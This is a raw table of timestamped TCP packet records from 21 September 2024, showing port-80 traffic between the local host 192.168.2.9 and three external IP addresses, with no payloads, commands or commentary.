Sep 21, 2024 13:33:42.411441088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.411457062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.411473989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.411495924 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.411526918 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.411526918 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.435141087 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435175896 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435193062 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435408115 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.435611963 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435626984 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435642004 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435658932 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435668945 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.435677052 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435700893 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.435720921 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435736895 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435745001 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.435750961 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435760975 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.435769081 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435784101 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.435784101 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435801029 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.435801983 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.435853004 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.435877085 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.436058044 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.436073065 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.436089993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.436114073 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.436119080 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.436131954 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.436144114 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.436147928 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.436170101 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.436197042 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.436496973 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.436548948 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.445796013 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.445827961 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.445842981 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.445910931 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.445911884 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.445935965 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.445950985 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.445966005 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.445981979 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.445991039 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.445997000 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.446048021 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.446125031 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.446532965 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.446667910 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.446683884 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.446743011 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.446743011 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.446949005 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.446964979 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.446980000 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.446995974 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447015047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.447077036 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.447221994 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447237015 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447252035 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447267056 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447299957 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.447299957 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.447346926 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.447465897 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447480917 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447496891 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447513103 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447527885 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447530985 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.447530985 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.447542906 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447560072 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.447582006 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.447582006 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.447613001 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448148966 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448165894 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448193073 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448205948 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448220015 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448236942 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448237896 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448237896 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448251963 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448267937 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448280096 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448280096 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448296070 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448323011 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448731899 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448749065 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448765039 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448779106 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448790073 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448832989 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448848963 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448863983 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448872089 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448872089 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448879957 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448894978 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448909998 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.448925972 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448925972 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.448942900 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.449299097 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.449315071 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.449331999 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.449347019 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.449359894 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.449364901 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.449374914 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.449382067 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.449398994 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.449400902 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.449420929 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.449475050 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.449806929 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.449820042 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.449878931 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450098038 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450114965 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450160027 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450160027 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450259924 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450275898 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450290918 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450305939 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450324059 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450325012 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450371981 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450371981 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450403929 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450417995 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450433016 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450448990 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450459003 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450465918 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450480938 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450486898 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450495005 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450498104 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450515032 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450529099 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450530052 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450546026 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450546980 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.450562954 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450572014 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.450614929 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.451005936 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451020956 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451035023 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451049089 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451065063 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451067924 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.451081038 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451085091 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.451100111 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451105118 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.451118946 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451263905 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.451263905 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.451437950 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451455116 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451510906 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.451911926 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451927900 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451942921 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451957941 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451973915 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451988935 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.451983929 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452006102 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452022076 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452039003 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452059031 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452064037 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452064037 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452064037 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452064037 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452075958 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452111006 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452111959 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452132940 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452326059 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452341080 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452356100 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452372074 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452373028 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452388048 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452399969 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452399969 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452403069 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452419996 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452420950 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452446938 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452446938 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452454090 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452466965 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452470064 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452486038 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452502012 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452517033 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452521086 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452521086 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452522039 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452533960 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452548027 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452550888 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452565908 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452568054 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452581882 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.452593088 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452593088 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452613115 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.452630997 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.453316927 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453334093 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453347921 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453363895 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453377962 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453391075 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.453393936 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453408957 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453413963 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.453423977 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453433990 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.453438997 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453452110 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.453454971 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453469992 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453486919 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453494072 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.453500986 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453511000 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.453516960 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453530073 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453541994 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.453545094 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453563929 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.453581095 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.453602076 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.453620911 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454157114 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454173088 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454186916 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454202890 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454217911 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454219103 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454220057 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454235077 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454241037 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454251051 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454263926 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454267025 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454282045 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454298019 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454305887 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454310894 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454313993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454322100 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454329967 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454336882 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454346895 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454361916 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454365015 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454379082 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454392910 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454396963 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454413891 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454452038 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.454946041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454961061 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454974890 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.454988956 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455003977 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455008984 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.455018997 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455030918 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.455034971 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455049992 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455064058 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.455065012 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455080986 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.455117941 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.455843925 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455858946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455873966 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455888033 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455902100 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455918074 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455928087 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.455931902 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455938101 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.455948114 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455952883 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.455965042 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.455965996 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.455984116 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456002951 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456024885 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456024885 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456450939 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456465960 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456480026 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456495047 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456505060 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456510067 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456526041 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456540108 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456547022 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456554890 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456569910 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456571102 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456588030 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456588984 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456600904 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456600904 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456604958 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456617117 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456620932 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.456629992 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.456639051 CEST	80	49709	147.45.44.104	192.168.2.9
